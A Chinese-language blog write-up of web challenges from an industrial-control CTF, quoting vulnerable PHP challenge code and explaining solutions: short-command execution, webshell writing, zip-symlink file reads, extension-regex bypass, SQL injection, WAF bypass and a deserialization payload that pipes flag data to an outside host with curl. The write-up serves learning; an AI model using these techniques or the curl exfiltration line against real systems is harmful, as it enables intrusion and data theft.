louys louys

工控ctf

in web相关read (441) 文章转载请注明来源!

前言

最近稍微玩了一下这个号称是物联网和工控的ctf,结果发现emmm,至少web是没什么太大变化的。

正文

签到题

签到题签了半天差点没签出来,以为是个注入搞了半天没啥反应不搞了,后来才发现是要去爆破它的id,免费版的burp爆破的太慢了,后来就自己写了个脚本来跑。跑到2333就出来了

警告记录

<?php
    if(!isset($_GET['c']) && !isset($_GET['re'])) {
        show_source(__FILE__);
    }

    $selfdir = $_GET['dir'];
    if (!isset($selfdir)) {
      die();
    }
    $secret = '/var/www/html/hackme/' . md5("cetcrce" . $selfdir . $_SERVER['REMOTE_ADDR']);
    @chdir('hackme');
    @mkdir($secret);
    @chdir($secret);

    if (isset($_GET['c']) && strlen($_GET['c']) <= 5) {
        include('waf.php');
        @exec($_GET['c']);
    }elseif(isset($_GET['re'])) {
        @exec('/bin/rm -rf ' . $secret);
        @exec('touch /var/www/html/hackme/index.php');
    }
?>

这尼玛一看就是hitcon的题目,长度为五,直接用exp打,打完发现没啥反应,测试了一波貌似没有curl。但是存在wget。用sh i*的姿势可以执行命令。反弹shell失败以后就echo 了一个一句话进去。那道flag。

客服反馈中心

这道题目没提示前基本没人做出来,存在一个怎么都传不上去的上传和一个不知道咋整的包含。大家怼了一会发现陷入江局以后就没看了。第二天早上爬起来发现放了提示swp。http://47.104.188.226:20001/.index.php.swo后来又试了一下发现有swo和swn能看到源码。

<?php
error_reporting(0);
ini_set('open_basedir', '/var/www/html');

function autoload($page) {
    if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
      die('no flag flag flag flag !');
    }

    if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {
      die('no uploaded uploaded uploaded uploaded !');
    }

    if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {
      die('no ://f ://f ://f');
    }

    if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {
      die('no ata ata ata');
    }

    if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {
      die('no 0 0 0');
    }

    if(file_exists("./includes/$page.php")) {
        include "./includes/$page.php";
    }
    elseif(file_exists("./includes/$page")) {
        include "./includes/$page";
    }else{
      echo "File is not exit ";
    }
}


function download($adfile, $file){
  //Only Administrators can download files .
      $cert = 'N';
    if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
      echo "Welcome ! You Are Administrator !";
      $cert = 'Y';
    }else{
      echo "error1";
    }
    if ($cert === 'Y'){
      if (stripos($file, 'file_list') != false) die('error4');
      if (stripos($file, 'file_list') >= 0) {
      header('Content-Description: File Transfer');
      header('Content-Type: application/octet-stream');
      header('Content-Disposition: attachment; filename='. basename($file));
      header('Content-Transfer-Encoding: binary');
      header('Expires: 0');
      header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
      header('Pragma: public');
      header('Content-Length: ' . filesize($file));
      readfile($file);
    }else{
      die('error2');
    }
}else{
  echo 'error3';
}
}

if(!isset($_GET['page'])) {
    $page = 'index';
}
else {
    $page = $_GET['page'];
}
if (stripos($page, './') > 0) {
  die('no ./ ./ ./ ./');
}
if (stripos($page, '://') > 0) {
  die('no :// :// ://');
}
autoload($page);

if (isset($_GET[admin]) && isset($_GET[file])) {

  if (stripos($_GET[admin], 'flag') > 0 || stripos($_GET[file], 'flag') > 0) {
    die('not flag flag flag falg !');
  }

  if (strlen($_GET[file]) >= 38) {
    die('too long');
  }

  download($_GET[admin], $_GET[file]);
}


?>

file_get_content就用php://input过,strpos直接就能过。。本来以为能直接读到flag的,结果发现文件路径正好38个readfile也不能用通配符之类的就很僵。队友说了一下后,发现应该先读取upload.php看看上传还有什么问题没有。

    <?php

    if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
      die('no flag flag flag flag !');
    }


    if (!empty($_FILES)) {

    //properties of the uploaded file
    $name= $_FILES["filename"]["name"];
    $type= $_FILES["filename"]["type"];
    $size= $_FILES["filename"]["size"];
    $temp= $_FILES["filename"]["tmp_name"];
    $error= $_FILES["filename"]["error"];

    if (strlen($name) >= 6) {
      die('name is too long !');
    }

    if (stripos($name, './') > 0) {
      die('invalid parameter');
    }

    if (stripos($name, 'php') > 0) {
      die('invalid parameter');
    }

    if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg' && substr($name, -3, 3) !== 'png') {
      die('file can not upload ! ');
    }


    if ($error > 0)
        die("Error uploading file! code $error.");
    else
       {
        if($type !== "application/zip" || $size > 400)//condition for the file
        {
        die("Format not allowed or file size too big!");
        }
        else
        {
          if(file_exists('includes')){
            move_uploaded_file($temp, "includes/uploaded/" .$name);
            echo "Upload complete a!";
            shell_exec('sh /var/www/html/includes/unzip.sh');
          }elseif(file_exists('uploaded')){
            move_uploaded_file($temp, "uploaded/" .$name);
            echo "Upload complete!";
            shell_exec('sh /var/www/html/includes/unzip.sh');
          }
         }
    }
  }else{
    if(isset($_GET['step']) && strlen($_GET['step']) === 20) {
      if (stripos($_GET['step'], 'lag') > 0) {
        die('error');
      }

      if (stripos($_GET['step'], './') > 0) {
        die('error');
      }

      if (stripos($_GET['step'], ' ') > 0) {
        die('error');
      }

      if (stripos($_GET['step'], '/') > 0) {
        die('error');
      }
      if (preg_match('/[^\w\d_ -]/si', $_GET['step'])) {
        $_GET['step'] = preg_replace('/[^a-zA-Z0-9_ -]/s', '', $_GET['step']);
        die('error');
      }
        passthru('cat ' . 'uploaded/' . $_GET['step']);
    }else{
      die();
    }
  }

发现要上传一个zip,然后

cd ./uploaded
find ./ -size +1M | xargs rm
cd ../
unzip -o ./uploaded/*.zip -d ./uploaded/
rm -rf ./uploaded/*.zip
rm -rf ./uploaded/*.*
rm -rf ./uploaded/.*
cd ./uploaded
find -type d | xargs rm -rf
touch /var/www/html/includes/uploaded/index.php
chmod 000 /var/www/html/includes/uploaded/index.php

有一个脚本会进行解压和删除操作。第一反应是竞争,不过感觉似乎没必要。再仔细分析一下就会发现他这里的rm看似删除了很多东西,其实不带后缀名的文件并没有被删除。结合后面有一个cat命令感觉应该是要用软连接。本地压一个软连接传上去后设置step参数就能读取到flag

解析漏洞

代码就不贴全了

 <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

之前有个比较弱智的判断不提,看这里这个正则就感觉很眼熟,应该是要用到一个比较奇特的姿势,具体这篇文章里面讲的比较清楚了,作者甚至跟到了底层去,有空我也去调一调理解一下。可以直接写个shell进去

管理系统新版本

出题偷懒的绝佳典范,先出一个sqlmap就能扫出来的注入,当做一题。然后接入三家不同的云waf厂商做为另外三题。。。。

洞在找回密码这里,可以union出想要的结果,然后找回密码,登录后有flag。

青云和华为都可以大文件绕过,阿里云我再研究一下。。。

维护中心后门

page参数可以用php://filter读到源码,发现就是一个正则后门。

敏感信息泄露

存在git信息泄露,下载源码进行分析后

if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
  {
    echo '<script>alert("Sorry ! Again !")</script>';
  }
  elseif(strpos($ad, '--') !== FALSE)
  {
                echo "Ok Evrything will be fine!<br ><br >";
                if (stripos($secret, './') > 0) {
                    die();
                }
    echo 'yes';
    unserialize($secret);
  }

发现ad可以使用数组绕过。反序列化的时候,class.php里面有__wakeup,可以通过添加一个属性绕过。尝试了一会发现无法反弹shell,于是改为使用curl带出数据。$b =new Record(' | curl xxx/xxx?data=cat import/Flag.php|grep flag|base64 | a');长度有限制,grep一下就好了

jrotty WeChat Pay

微信打赏

jrotty Alipay

支付宝打赏

文章二维码

扫描二维码,在手机上阅读!

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
前篇 后篇
雷姆
拉姆